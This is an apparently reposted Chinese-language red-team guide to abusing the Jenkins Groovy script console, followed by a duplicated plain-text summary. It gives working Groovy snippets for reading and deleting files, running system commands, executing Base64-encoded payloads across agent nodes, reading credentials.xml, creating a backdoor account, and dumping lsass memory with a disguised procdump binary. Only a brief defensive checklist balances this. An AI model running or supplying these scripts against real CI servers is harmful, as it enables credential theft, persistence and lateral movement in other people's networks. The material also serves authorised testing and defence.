Jenkins groovy scripts for read teamers and penetration testers
字数 562 2025-08-25 22:58:28

Jenkins Groovy脚本渗透测试指南

前言

Jenkins是一个开源的自动化工具,配备各类插件用于持续集成和持续开发。它提供了Groovy脚本控制台,允许在Jenkins运行时执行任意Groovy脚本,这为渗透测试和红队行动提供了强大的攻击面。

Groovy简介

Groovy是一种兼容Java语法的面向对象编程语言,兼具静态和动态特性,功能类似Python、Ruby等脚本语言。它既可作为编程语言使用,也可作为Java平台的脚本语言。

Groovy基础操作

文件系统操作

列出文件和文件夹

dir = new File("..\\..\\")
dir.eachFile {
    println it
}

读取文件内容

String fileContents = new File('C:\\USERS\\username\\desktop\\something.conf').text

删除文件

deleteme = new File('C:\\target\\filename.exe')
deleteme.delete()

创建文件

createme = new File("C:\\target\\filename.exe")
createme.createNewFile()

复制/移动文件

src = new File("P:\\tools\\procdump64.exe")
dest = new File("C:\\users\\username\\jenkins-monitor.exe")
dest << src.bytes

系统信息收集

打印环境变量

def env = System.getenv()
println "${env}"

执行系统命令

println "whoami".execute().text
println "systeminfo".execute().text

网络操作

挂载网络共享

println "net use P: \\\\192.168.1.42\\ShareName /user:MACHINE\\user MountPassword".execute().text

高级渗透技术

横向移动技术

在从节点执行命令

import hudson.util.RemotingDiagnostics;
def jenkins = Jenkins.instance
def computers = jenkins.computers
command = 'println "whoami".execute().text'
computers.each{
    if (it.hostName){
        println RemotingDiagnostics.executeGroovy(command, it.getChannel());
    }
}

Base64编码的横向移动

import hudson.util.RemotingDiagnostics;
def jenkins = Jenkins.instance
def computers = jenkins.computers
def command = 'ZGlyID0gbmV3IEZpbGUoJ2M6XFwnKQpkaXIuZWFjaEZpbGUgewoJcHJpbnRsbiBpdAp9Cg=='
byte[] decoded = command.decodeBase64()
payload = new String(decoded)
computers.each{
    if (it.hostName){
        println RemotingDiagnostics.executeGroovy(payload, it.getChannel());
    }
}

凭证提取技术

Jenkins的credentials.xml文件通常包含用户名、密码和私钥等敏感信息:

String creds = new File('path/to/credentials.xml').text

后门账户创建

import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("USERNAME","PASSWORD")
instance.setSecurityRealm(hudsonRealm)
instance.save()

内存凭证提取

使用procdump提取lsass进程内存:

println "C:\\users\\username\\jenkins-monitor.exe -accepteula -64 -ma lsass.exe C:\\users\\username\\lsass.dmp".execute().text

防御建议

  1. 严格控制Groovy脚本控制台的访问权限
  2. 定期审计Jenkins账户和权限设置
  3. 监控异常的系统命令执行
  4. 限制Jenkins服务器的网络访问
  5. 定期检查credentials.xml等敏感文件权限

资源

Jenkins Groovy脚本渗透测试指南 前言 Jenkins是一个开源的自动化工具,配备各类插件用于持续集成和持续开发。它提供了Groovy脚本控制台,允许在Jenkins运行时执行任意Groovy脚本,这为渗透测试和红队行动提供了强大的攻击面。 Groovy简介 Groovy是一种兼容Java语法的面向对象编程语言,兼具静态和动态特性,功能类似Python、Ruby等脚本语言。它既可作为编程语言使用,也可作为Java平台的脚本语言。 Groovy基础操作 文件系统操作 列出文件和文件夹 读取文件内容 删除文件 创建文件 复制/移动文件 系统信息收集 打印环境变量 执行系统命令 网络操作 挂载网络共享 高级渗透技术 横向移动技术 在从节点执行命令 Base64编码的横向移动 凭证提取技术 Jenkins的 credentials.xml 文件通常包含用户名、密码和私钥等敏感信息: 后门账户创建 内存凭证提取 使用procdump提取lsass进程内存: 防御建议 严格控制Groovy脚本控制台的访问权限 定期审计Jenkins账户和权限设置 监控异常的系统命令执行 限制Jenkins服务器的网络访问 定期检查credentials.xml等敏感文件权限 资源 原文PDF GitHub脚本库 作者博客